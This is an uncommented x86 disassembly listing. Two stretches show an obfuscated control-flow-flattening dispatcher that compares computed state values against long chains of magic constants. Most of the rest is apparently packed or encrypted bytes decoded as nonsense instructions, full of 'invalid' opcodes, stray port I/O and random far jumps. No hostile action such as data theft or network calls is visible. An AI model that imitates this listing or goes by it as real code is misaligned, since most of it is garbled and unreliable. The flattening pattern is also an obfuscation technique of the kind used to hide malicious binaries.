jno 0x67d5746a
or ch, byte [0x62f2fab0]
cwde
je 0x67d574e7
or cl, dh
int1
push esp
aaa
insb byte es:[edi], dx
lcall 0xf1af, 0x4b450512
inc ebp
dec ebx
scasd eax, dword es:[edi]
int1
aas
xchg ecx, eax
fst st(7)
xchg edx, eax
sbb al, 0x9c
cmp dh, byte [edi - 0x439b595a]
clc
add ebp, ebp
dec esp
mov byte [0x3ad0a59f], al
dec edx
add ch, byte [ecx - 0x56]
xor byte [eax - 0xa2c9746], 8
mov ch, 0x6d
std
cmp byte [ebx - 0x52380869], cl
int1
stosb byte es:[edi], al
mov byte [esi + esi*8], dh
jmp 0x3465b9af
invalid
rcl dword [edx - 0x6640b5bd], cl
pop ss
outsb dx, byte [esi]
jne 0x67d5785f
sub esp, ecx
stc
sbb byte [eax + 0x5c], ch
jge 0x67d578f4
mov ebp, 0x92a089f3
retf 0x44e9
mov ebp, edx
and al, 0x90
push ecx
xchg esi, eax
cwde
pop ss
jle 0x67d5791c
dec ecx
pop ebp
sub dword [eax - 2], eax
push 0xb619fa9d
fcomp dword [ebx]
mov dh, 2
jo 0x67d578cb
scasd eax, dword es:[edi]
pop ecx
rol ebx, 0x83
fldcw word [0xf77c3fb0]
jecxz 0x67d578e6
xchg ecx, eax
das
bnd jno 0x67d5794c
wait
pop edx
jge 0x67d578d1
and eax, 0x7ec31932
in al, dx
invalid
push ds
lds ecx, [edi - 0x57e0b614]
dec edx
push edi
insb byte es:[edi], dx
cld
dec eax
dec edx
outsb dx, byte [esi]
invalid
jae 0x67d57965
cld
ret
jo 0x67d57968
pop ebp
mov esp, 0xdfb85f6c
inc ebp
shr byte [edx], 2
mov ebx, eax
js 0x67d57945
insb byte es:[edi], dx
pop edi
mov eax, 0x2ac045df
add cl, byte [ecx - 0x5d16873d]
xchg byte [edi + 0x1b460b07], dl
in al, 0x41
mov byte [0xb079786], al
inc esi
sbb esp, esp
inc ecx
arpl di, ax
jmp 0x67d57950
out 0x86, eax
les esi, [ebp - 0x55]
push edx
nop
int3
nop
jmp 0x67d57e8b
nop
add dword [ebp - 0x10], 8
mov dword [ebp - 0x128], 0x4327e
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x130], 0x509d1
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x128]
sbb edx, dword [ebp - 0x124]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x138]
xor eax, 0xe32df
or eax, dword [ebp - 0x134]
je 0x67d5b179
mov edx, 0xe32df
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xd3603
or eax, dword [ebp - 0x134]
je 0x67d58271
mov edx, 0xd3603
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xcc38e
or eax, dword [ebp - 0x134]
je 0x67d5cede
mov edx, 0xcc38e
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xcbcb9
or eax, dword [ebp - 0x134]
je 0x67d59414
mov edx, 0xcbcb9
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xbf666
or eax, dword [ebp - 0x134]
je 0x67d5daa0
mov edx, 0xbf666
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xa8f79
or eax, dword [ebp - 0x134]
je 0x67d58e33
mov edx, 0xa8f79
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0xa105e
or eax, dword [ebp - 0x134]
je 0x67d5d4bf
mov edx, 0xa105e
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x9bb8e
or eax, dword [ebp - 0x134]
je 0x67d58852
mov edx, 0x9bb8e
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x87963
or eax, dword [ebp - 0x134]
je 0x67d59fd6
mov edx, 0x87963
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x6f9d9
or eax, dword [ebp - 0x134]
je 0x67d5a5b7
mov edx, 0x6f9d9
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x69ee0
or eax, dword [ebp - 0x134]
je 0x67d5ab98
mov edx, 0x69ee0
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x609fa
or eax, dword [ebp - 0x134]
je 0x67d599f5
mov edx, 0x609fa
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x5f5dd
or eax, dword [ebp - 0x134]
je 0x67d5c31c
mov edx, 0x5f5dd
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x59c51
or eax, dword [ebp - 0x134]
je 0x67d5e662
mov edx, 0x59c51
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x5794b
or eax, dword [ebp - 0x134]
je 0x67d5c8fd
mov edx, 0x5794b
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x34d90
or eax, dword [ebp - 0x134]
je 0x67d5bd3b
mov edx, 0x34d90
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov eax, dword [ebp - 0x138]
xor eax, 0x1854b
or eax, dword [ebp - 0x134]
je 0x67d5b75a
mov edx, 0x1854b
mov eax, 0
cmp edx, dword [ebp - 0x138]
sbb eax, dword [ebp - 0x134]
jl 0x67d5ec40
mov word [edx], es
push 0
add byte [ebx - 0x1377b], cl
push dword [0x19d]
mov eax, dword [ebp - 0x138]
xor eax, 0x19d
or eax, dword [ebp - 0x134]
je 0x67d5e081
mov eax, dword [ebp - 0x138]
xor eax, 0xd753
or eax, dword [ebp - 0x134]
je 0x67d5ec43
jmp 0x67d5ec40
add byte [esi + 0x48915f0f], cl
mov cs, word [edi]
pop edi
xchg ecx, eax
dec eax
xchg esp, eax
add edx, dword [ebp + 0x27]
jle 0x67d5829d
mov dh, 0xde
xor dword [edi + 0x4e6f2a65], 0x33
loope 0x67d58270
jb 0x67d5829b
adc al, byte [edx - 0x32]
inc edx
into
pop ebx
cmp al, 0x50
rol dword [ebx], 0xfa
arpl word [ebp + 0x19], ax
sal dword [edx - 0xe], 0xa2
mov dword [0x7f95ebb5], eax
xchg ebp, eax
jg 0x67d5830e
jo 0x67d58239
lcall 0xb81d, 0x5aa392b9
wait
or byte [ebp + 0x40], dh
mov ecx, 0x1d5aa392
mov eax, 0x4075089b
push 0xdcc0cd29
dec ecx
jmp 0x67d58288
jg 0x67d5834b
enter 0xffffffffffffcd54, 0x13
std
test al, 0xe7
dec ebp
mov ebp, 0x745a9e
fstp st(7)
or ch, bl
leave
and byte [esi + 0x15], bh
push 6
mov dword [ecx - 0x7070ef77], edx
fbld tbyte [eax + 0x43]
insb byte es:[edi], dx
imul edx, dword [edi + ecx*4 - 0x336f3762], 0x121cce58
sbb dword [edi], edx
add al, 0x31
adc dword [esi], ebx
cmp eax, 0x50a6329c
invalid
in eax, dx
jmp 0x8c2c9d4b
adc eax, 0xe2f9ac60
invalid
nop
and ch, byte [edi - 0x4e]
dec edi
cmc
cwde
cwde
hlt
sbb al, 0x90
int3
mov ebp, 0x73d7f8cd
adc dh, byte [esi + ebp*8 + 0x10]
jb 0x67d58e2b
cli
sbb al, byte [0x50d2e5b9]
cdq
inc ebp
out dx, eax
xor dl, ch
mov cs, word [edx + edi*8 + 0x48]
jecxz 0x67d58e13
inc esi
int3
retf
or eax, 0x37407084
inc ebx
add dword [eax + eax*8], esp
mov al, 6
in al, 0x72
hlt
jns 0x67d599c7
dec edi
or dword [0x30ee4d80], eax
div byte [edi - 0x4e]
lds esi, [ebp + ebx*2 - 0x6d]
mov esp, es
invalid
invalid
ret 0x7ce5
wait
and ebx, dword [esi - 0x3f]
imul edx, dword [esi + 0x1b82f8da], 0x90cd6daf
int3
xchg byte [edi + 0x383a33b7], dl
scasb al, byte es:[edi]
test al, 0x37
popfd
cmpsd dword [esi], dword es:[edi]
sbb al, 0xa1
lea edx, [edi - 0xe]
pop edi
aad 0x1a
adc dword [edi - 0x679fd03], edx
push edi
xor al, 0x60
sbb al, 0xf3
sub al, 0xbb
inc ebp
aad 0xd0
invalid
fist dword [eax]
dec ebx
jle 0x67d5abfe
xor edi, esp
aaa
jp 0x67d5ab20
frstor dword [edi + 0x15]
pop eax
lds edi, [0xf53999c0]
jmp 0x51a23c8b
dec ecx
dec esi
push esp
loope 0x67d5ab31
fimul dword [ebp - 0x22]
xchg ebp, eax
adc al, 0x39
scasd eax, dword es:[edi]
mov eax, 0x67a55722
adc esp, ebp
pop ebp
inc ebx
sti
mov ch, 0x23
xchg byte [0x8d008cad], ah
mov dword [ebx], edi
jo 0x67d5ab7b
or byte [edx + edx*2 - 0x5ebf3ac2], 0x88
dec eax
push cs
mov ebx, 0x51c848bb
or al, 0x1c
mov bh, 0x6e
out 0x19, al
sbb esi, edx
or dword [esi + ecx - 0xa], edx
add dword [esi + 0x7f10bf71], ecx
jl 0x67d5ac21
bound esp, qword [ecx + 0x4c]
sti
rol byte [esi + 0x7b], cl
dec eax
xor al, 0xbc
mov edi, 0xe259e791
enter 0x5bc4, 0xffffffffffffff94
xor al, 0xbd
xor al, 0x32
xchg ebx, eax
push edx
invalid
dec edi
js 0x67d5abdd
in eax, 0x84
clc
pop esp
lar esi, esi
cmpsd dword [esi], dword es:[edi]
fmul st(6)
retf 0xa3c0
xchg ebp, eax
clc
mov dh, 0x3f
je 0x67d5ac37
xchg ecx, eax
pop esi
jge 0x67d5ac72
retf 0x64da
in eax, 0x34
shr byte [ebx + edi + 0x1643f599], 1
push ss
int3
invalid
fcomp dword [ebx - 0x3654c81a]
nop
int3
popfd
adc byte [ebx], ah
ja 0x67d5acb9
push ss
salc
fild dword [ecx - 0x72a2a7cd]
scasd eax, dword es:[edi]
push es
in al, 0x7a
cmp byte [eax], bl
mov esp, 0x69a02296
int 0x19
sal dword [ecx], cl
je 0x67d5ac58
xchg esi, eax
push 0x39
mov ch, 0x76
mov esi, 0x1b319d52
mov byte [edi + 0x31710bc9], ch
and al, 0x6b
mov byte [ecx - 0x475a5164], dh
or al, dh
xor dword [edx + 2], 1
movsd dword es:[edi], dword [esi]
insb byte es:[edi], dx
lcall 0x9273, 0xe30971af
insb byte es:[di], dx
sbb eax, eax
mov eax, 0xf67ccbbc
push ds
loop 0x67d5ac53
int3
dec esi
test dword [edx], edi
ret
mov dword [eax], 0x4a230237
pop esi
jnp 0x67d5b1b8
pushal
cmp eax, 0xb3419855
add edx, dword es:[esi]
sbb al, 0x2c
loopne 0x67d5b1d3
push esi
and dword [eax + ebp + 0x53e069e6], edi
mov ebx, 0xd1defdb5
jne 0x67d5b1c6
je 0x67d5b214
pop edi
pop ebx
rcl dword [ebp + 0x40fe87bb], 0xc
les eax, [eax]
sbb eax, 0x1401b6ca
mov bh, 0x53
sub al, 0xc8
adc cl, byte [edi]
jecxz 0x67d5b144
invalid
das
cmp dword [ebp - 0x788cca70], 0xffffffe8
dec edi
pop eax
test dword [ebx*8 + 0x26ebe748], edx
and esp, dword [edi]
dec eax
out 0xeb, eax
and esp, dword es:[edi]
xchg esi, eax
adc dword [eax - 0x96c0634], 0x1640a4ec
imul ah
movsb byte es:[edi], byte [esi]
inc eax
push ss
push esi
shr dword [ebp + 0x7a121ed6], cl
mov cl, 0xe
xchg esp, eax
sub dword [ecx], ebp
mov cl, 0xf3
xchg ebp, eax
lahf
cmp al, 0x19
pushal
fnstsw word [eax + 0x15]
adc eax, 0x95ccc8c6
xchg byte [edx + ebx*8], al
xchg ebp, eax
xchg ecx, eax
ror dword [edi + 0x11911769], 1
mov edx, 0xfe1360a8
mov al, byte [0xc972eeef]
jb 0x67d5b1df
retf
xor esi, dword [ebx]
test dword [esi], edi
add ebp, dword [eax - 0x17]
scasd eax, dword es:[edi]
dec esp
cmp byte [edi], al
xchg edx, eax
or dword [esi + 0x40], edi
sahf
xchg edi, eax
dec edi
sub byte [ebp - 0x350a5ac2], bl
loope 0x67d5b796
aam 0x46
adc dword [ecx + 0x62], ecx
stc
adc byte [edx + 0x7abcf585], cl
jbe 0x67d5b7a7
int3
retf
adc byte [edx], ch
js 0x67d5b7ae
cmp al, 0x48
push esp
outsd dx, dword [esi]
or byte [ecx + 0x2e], ch
cmp byte [ebp + 0x42], bl
cwde
push edx
hlt
adc ah, dh
or ebx, 0x7f
call 0xf756ebfd
pop eax
in eax, 3
or byte [edi - 0x1f5e2997], ah
sub byte [ebp - 0x56088d95], ch
mov al, 0xf5
push 0xffffffffffffff8e
std
dec ebx
adc bh, byte [edx + edi*2 + 0x18ac7bd8]
push ds
adc byte [edi], ah
dec eax
stosb byte es:[edi], al
sbb edi, dword [edi - 0x4f33efd1]
pop esp
daa
daa
test byte [esi + 0x4a2d5206], bl
or eax, 0xa6fce03b
invalid
scasb al, byte es:[edi]
sub dword [ebx], esi
sub eax, 0x60252943
out dx, eax
or al, 0x3b
movsd dword es:[edi], dword [esi]
and ch, byte [ebp + edi*8 + 0x36]
insd dword es:[edi], dx
fcomp qword [edi - 0x7216c290]
invalid
inc ecx
mov al, 0x89
pop ebx
invalid
and dword [edi], esi
rol dword [ebx], 1
add al, dh
mov esp, 0xc141c567
cli
and dword [eax], eax
mov al, byte [0xd77d1b91]
retf
invalid
fbld tbyte [ecx]
jo 0x67d5d4a1
aaa
shr byte [ebx - 0x712d514d], 0x44
bound ecx, qword [edx - 0x56]
aaa
in eax, 0xb0
out 0x14, eax
dec edx
mov eax, ebx
invalid
sbb ecx, edx
add eax, 0xe92245ee
shl dword [ebp - 0x59], 0xa6
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0xcf13e785]
cwde
in al, 0x43
cwde
insb byte es:[edi], dx
leave
nop
int3
test dword [edi], edx
add byte [eax], al
xor byte [ecx], bh
fidivr dword [edx + ecx - 0x71]
xchg esp, eax
int1
test dword [eax + edx*2 + 0x39], edx
in eax, 0x44
loope 0x67d5d4bb
sub al, 8
xchg esi, eax
call 0x36760336
dec esp
jecxz 0x67d5d46d
aaa
dec ecx
push esi
xor dword [ebx - 0x71f8a667], ecx
sub dh, byte [edx + ebp*2]
dec edi
jmp 0x67d5d474
inc eax
scasd eax, dword es:[edi]
push es
cmp al, 0x31
invalid
outsd dx, dword [esi]
cmp eax, 0xdb38cbc9
das
push ss
neg byte [ecx - 0x55ce31ad]
movsd dword es:[edi], dword [esi]
push ss
sti
and byte [edi + 0x50], cl
pop ss
cmp byte [edx - 0x4081d073], al
push es
push edx
scasb al, byte es:[edi]
mov ch, 0x6e
ret 0x917d
iretd
adc byte [edx], 0xe4
test eax, 0xfc983f4a
nop
outsb dx, byte [esi]
aas
mov esi, 0xe66d2024
mov ecx, 0xbdc46c77
ja 0x67d5e5c3
lahf
sub ebx, edx
rcl eax, 0xae
xor al, 0xa0
stc
test byte [eax], bl
test al, 0x53
cld
cmp al, 0x3a
jge 0x67d5e680
jg 0x67d5e680
jb 0x67d5e658
out 0xc3, al
out dx, eax
mov eax, 0x94ab1f47
jecxz 0x67d5e6b3
or esi, esi
push 0xfffffffffffffffd
std
je 0x67d5e61d
nop
int3
lcall 0x51d4, 0x535896c7
xchg ebx, eax
mov al, 0x29
dec edx
out dx, al
clc
not dword [ecx - 0x77777d66]
leave
jns 0x67d5e6ca
dec esp
out 0xad, al
movsd dword es:[edi], dword [esi]
mov ebp, dword [ebx - 0x1a754cbe]
mov ah, ch
push edx
not dword [eax + 0x61]
push 0xbba706b
inc edi
salc
pop edi
pop edx
inc ebp
mov esi, 0xabb161be
sbb bh, byte [ecx - 0x1d8475e]
push ebp
sbb al, 0xba
shl byte [esi - 0x185f9176], 0x64
mov bl, 0xd0
std
sahf
push 0x1b62f9b3
invalid
cmp bl, bh
sub cl, bh
cmc
pop ebx
invalid
inc ebx
in eax, dx
mov dl, 0x46
lds ebx, [edi + 0x69e057a4]
jbe 0x67d5e658
cmp dword [esi - 0x7cb7e88c], ecx
pop esp
sub dl, byte [ebx]
or al, 0x30
inc edi
inc edx
pop ebp
enter 0xf26, 0x65
or dword [ebp + 0x28b6d7a4], edi
aas
dec eax
rol byte [0xa216ba6], 0xc6
cwde
and dword [edi], 0x19
mov esp, 0xd050bc92
stosd dword es:[edi], eax
or eax, dword [ebx + 0x5ca8899c]
or al, byte [edx + 0x736a562e]
fidiv dword [ebx - 0x512823d6]
mov ebp, esi
xchg dword [esi + 0x21804137], edx
mov edx, 0xa9360123
salc
lahf
push ss
cli
invalid
nop
jmp 0x67d5ec44
nop
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x140], 0x3755e
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x148], 0x8eff6
mov dword [ebp - 0x144], 0
mov ecx, dword [ebp - 0x140]
mov ebx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x150]
xor eax, 0xf0bc9
or eax, dword [ebp - 0x14c]
je 0x67d61ee0
mov edx, 0xf0bc9
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xe5a6d
or eax, dword [ebp - 0x14c]
je 0x67d6075c
mov edx, 0xe5a6d
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xd9603
or eax, dword [ebp - 0x14c]
je 0x67d60d3d
mov edx, 0xd9603
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xc6554
or eax, dword [ebp - 0x14c]
je 0x67d64de8
mov edx, 0xc6554
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xb2ed3
or eax, dword [ebp - 0x14c]
je 0x67d5fb9a
mov edx, 0xb2ed3
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xb22de
or eax, dword [ebp - 0x14c]
je 0x67d64807
mov edx, 0xb22de
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0xb1bb8
or eax, dword [ebp - 0x14c]
je 0x67d624c1
mov edx, 0xb1bb8
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x970e2
or eax, dword [ebp - 0x14c]
je 0x67d63083
mov edx, 0x970e2
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x6d038
or eax, dword [ebp - 0x14c]
je 0x67d63664
mov edx, 0x6d038
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x6b12d
or eax, dword [ebp - 0x14c]
je 0x67d6131e
mov edx, 0x6b12d
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x5898d
or eax, dword [ebp - 0x14c]
je 0x67d618ff
mov edx, 0x5898d
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x44cc5
or eax, dword [ebp - 0x14c]
je 0x67d5efd8
mov edx, 0x44cc5
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x44295
or eax, dword [ebp - 0x14c]
je 0x67d6017b
mov edx, 0x44295
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x312f2
or eax, dword [ebp - 0x14c]
je 0x67d5f5b9
mov edx, 0x312f2
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x1f97c
or eax, dword [ebp - 0x14c]
je 0x67d62aa2
mov edx, 0x1f97c
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67d64de5
mov eax, dword [ebp - 0x150]
xor eax, 0x15ed
or eax, dword [ebp - 0x14c]
je 0x67d64226
mov eax, dword [ebp - 0x150]
xor eax, 0x28cc
or eax, dword [ebp - 0x14c]
je 0x67d63c45
add byte [eax], al
jmp 0x67d64de5
adc dword [eax - 0x45], ebp
jo 0x67d5efd1
aad 0xbd
imul ebp, dword [edx + 0x212997b0], 0x43
ud2
mov eax, 0xa9509916
aaa
test byte [edx], dh
lodsb al, byte [esi]
leave
push ebx
cdq
salc
inc esi
xor dword [edi + 0x44], eax
fidivr word [esi]
push es
sbb byte [0x222cc32d], bl
popal
inc esi
invalid
mov esp, 0x442bb1e6
invalid
adc byte [ebx + 0x42], bl
cmpsd dword [esi], dword es:[edi]
dec edx
dec edi
lodsb al, byte [esi]
xor al, 0xd9
sbb byte [edx - 0x21], ch
cmp dh, ah
mov edx, 0x13a827f2
adc dword [ebx + 0x1388acf2], esp
shl dword [ebx + ecx*8], cl
fsubp st(2)
imul ebx, esp, 0xccbced9c
add dword [ebx - 0x3f], esp
invalid
ljmp 0x27df:0xb4c663e7
jo 0x67d60d62
bound ebx, qword [0xbd38b8f9]
inc esi
daa
sub eax, 0x7b14245c
popal
push eax
push eax
sbb dword [ecx + 0x12b23bc3], 0xffffffea
cmp eax, 0xf3abdccb
cdq
xchg edi, eax
invalid
sbb dh, byte [ebx]
pop edi
sahf
salc
mov bl, 0xd
lds edi, [edx - 0x205ceea3]
pop ecx
test dword [esi + 0x7b], eax
ret
not dword [edx - 3]
stosd dword es:[edi], eax
stosb byte es:[edi], al
mul edi
cli
int1
inc edx
and al, 0x8e
sti
add dword [edx + 0x10f736cf], ebp
aas
invalid
hlt
sar ebp, cl
outsb dx, byte [esi]
pop ebx
jg 0x67d61344
or eax, dword [edx + eax + 0x3f]
mov esi, 0xd759b87d
or esi, dword [ebx + ebp*2 + 0x767d1ad4]
jecxz 0x67d612d5
sal dword [eax], 0x37
or al, 0x16
in al, 0x8e
out 0xce, al
adc dword [edx + 0xd690445], ecx
and ebx, dword [edi + 0x6f]
outsb dx, byte [esi]
or eax, 0x6e6f5f23
in eax, dx
out dx, al
aaa
mov es, word [esi + 0x2c]
into
sbb al, 0xb7
ror dword [esi - 0x2b], 1
movsd dword es:[edi], dword [esi]
das
pop ebx
cld
push edx
mov esi, ebx
dec ebx
dec ebx
cmp byte [bx], cl
jo 0x67d612f2
inc ecx
pop ecx
loop 0x67d6138a
bnd jge 0x67d613c7
jno 0x67d613ba
pop esp
lodsd eax, dword [esi]
pop eax
adc byte [esi], bh
inc edi
cwde
adc ah, byte [esi - 0x1d9a5150]
stosb byte es:[edi], al
mov ds, word [eax + 0x57564613]
xchg edi, eax
nop
int3
mov edi, 0x69bb3477
and dword [ebx + 0x7e], edi
sub edi, dword [esi]
mov byte [0x135fc8be], al
test dword [eax + 0x1efd9206], ebx
xchg edx, eax
std
push ds
adc ecx, edx
daa
and cl, bh
jle 0x67d613fe
cwde
pop ss
daa
jle 0x67d6139c
pop edx
push cs
mov ecx, 0xbc8d6798
popfd
nop
test eax, ebp
sti
cmp byte [edx - 0x33], bh
inc esi
int 0x46
fsubr st(5), st(0)
xchg ebp, eax
mov dword [esi], ebx
jp 0x67d6135b
cmpsd dword [esi], dword es:[edi]
mov word [ecx], fs
scasb al, byte es:[edi]
cld
xlatb
pop edx
movsd dword es:[edi], dword [esi]
nop
push ss
mov eax, 0x2c9afc43
cmp dword [ecx], esi
xor esp, dword [ebx - 0x78]
mov cl, 0x84
out dx, al
imul esi, ebx, 0xfa874cf2
dec esp
xchg edx, edi
loope 0x67d61425
jno 0x67d613db
nop
int3
sbb dword [ecx - 0x17ecbefd], edx
lds edx, [edx + 0x76340c92]
loope 0x67d613e2
mov ecx, dword [ecx]
push eax
cmp edi, dword [ebx]
and dword [edx], 0x29b5d9c0
rcl bl, cl
into
and al, al
fnstenv [ebp - 0x312c2dd7]
push ebp
adc ch, byte [edi + 0x10697af9]
and ebp, dword [ebx - 0x64]
pushfd
and cl, byte [esi]
popfd
wait
mov esp, dword [edi - 0x59]
dec edx
xor al, dh
dec edx
jecxz 0x67d61413
pop eax
retf
mov esp, 0x84413329
ret
stc
loope 0x67d618d4
mov word [esi + 0x7422df27], cs
insb byte es:[edi], dx
add dword [ebx - 0x38465c56], edx
inc eax
std
salc
invalid
sbb edx, 0x43
std
adc ch, byte [edi + 0x55]
push eax
retf 0x9d0c
push ss
invalid
in eax, 0xb6
jbe 0x67d62b11
inc esi
pop esi
stosd dword es:[edi], eax
cld
mov edx, 0x20111cfc
out dx, al
pop ds
nop
hlt
mov cl, 0xda
int 0x52
and cl, byte [eax + edx*2 - 0x3b2c3561]
adc dh, byte [eax]
ror byte [ebp + 0x556e95f1], 1
push edx
pop ebx
sbb dword [edx + 0x1f], eax
xchg edi, eax
pop eax
lcall 0x4662, 0x16c45bf9
dec eax
fisubr dword [ebp + 0x45]
aas
mov edx, 0x138088fd
jle 0x67d62b99
jno 0x67d62b52
in eax, dx
inc esp
sbb al, 0xf3
sbb dh, byte [edx + 0x2b]
push ebp
out 0xf4, eax
test al, 0x1c
xchg ebx, eax
outsb dx, byte [esi]
mov edx, 0x710810c9
dec edx
sub edx, dword [ebp - 0x19]
hlt
leave
adc byte [eax], cl
jno 0x67d62ba1
rol byte [eax], 0x2c
inc eax
shl dword [eax + edi*8 + 0x36cef98b], cl
mov ch, 0xe2
inc esp
aaa
dec esp
out dx, eax
nop
int3
mov byte [0x36e5f475], al
and edi, dword [ebp + ecx + 0x40aa57b]
lds ebx, [esi]
inc ebp
retf
jnp 0x67d62b48
or al, byte [eax*8 - 0x2934bae2]
pop ebx
les edi, [esi - 0x23]
cli
add ch, byte [edx + 0x748673c1]
xchg ecx, eax
not bl
pop edi
mov bl, 0x47
invalid
mov word [ecx + ecx*4 + 0x59], fs
and al, 0xc9
mov ah, 0x22
adc dword [eax + 0x58], 0x15
xor al, 0x8c
adc al, 0xa3
add al, 0x86
inc edx
in al, dx
mov edx, 0xaec963ca
pop esp
outsb dx, byte [esi]
cmc
rol byte [ebx - 0x205c4d2e], 1
popfd
adc al, 0x1f
push ebx
mov dl, 0xa3
fistp word [ebp + 0x53f21f14]
out dx, eax
or dword [edx + 0x44488d75], ebp
dec eax
inc esp
jge 0x67d630e9
push 0xffffffffffffff97
popfd
je 0x67d630c0
test eax, 0x656a9ee5
dec esi
invalid
sbb eax, 0x53786fd2
ljmp 0xa7fd
popal
cmc
jns 0x67d630a2
scasb al, byte es:[edi]
jo 0x67d630af
imul ebx, dword [edx + ecx*2], 0xffffffe5
dec edi
dec ecx
add ah, cl
or dword [eax + 0x715d2acc], edx
ljmp 0x7103
jno 0x67d630d5
inc eax
or al, 0x8a
sti
add esi, dword [ecx - 0x13]
fnstcw word [ebp + edx*8 - 0x2e391ff]
cmp bl, ah
insb byte es:[edi], dx
sal byte [edi], 0xbd
dec edi
sbb dh, byte [ebp + 0x14212d3e]
sub al, dh
daa
mov bh, 0x26
lds edi, [edi - 0x5f55dddc]
push ebp
retf
inc esp
cmp al, 0x7d
int 0xa2
pop ecx
mov ebx, 0xe4811c88
xchg byte [esi], bh
in al, 0x40
mov cl, byte [esi + 0x20]
into
div byte [edi]
add al, 0xd6
cmp eax, 0x52dc190a
int1
adc byte [ebx - 0xf959867], dh
ljmp 0xd8f1
pushal
shl dword [esi - 0x26dc07a0], cl
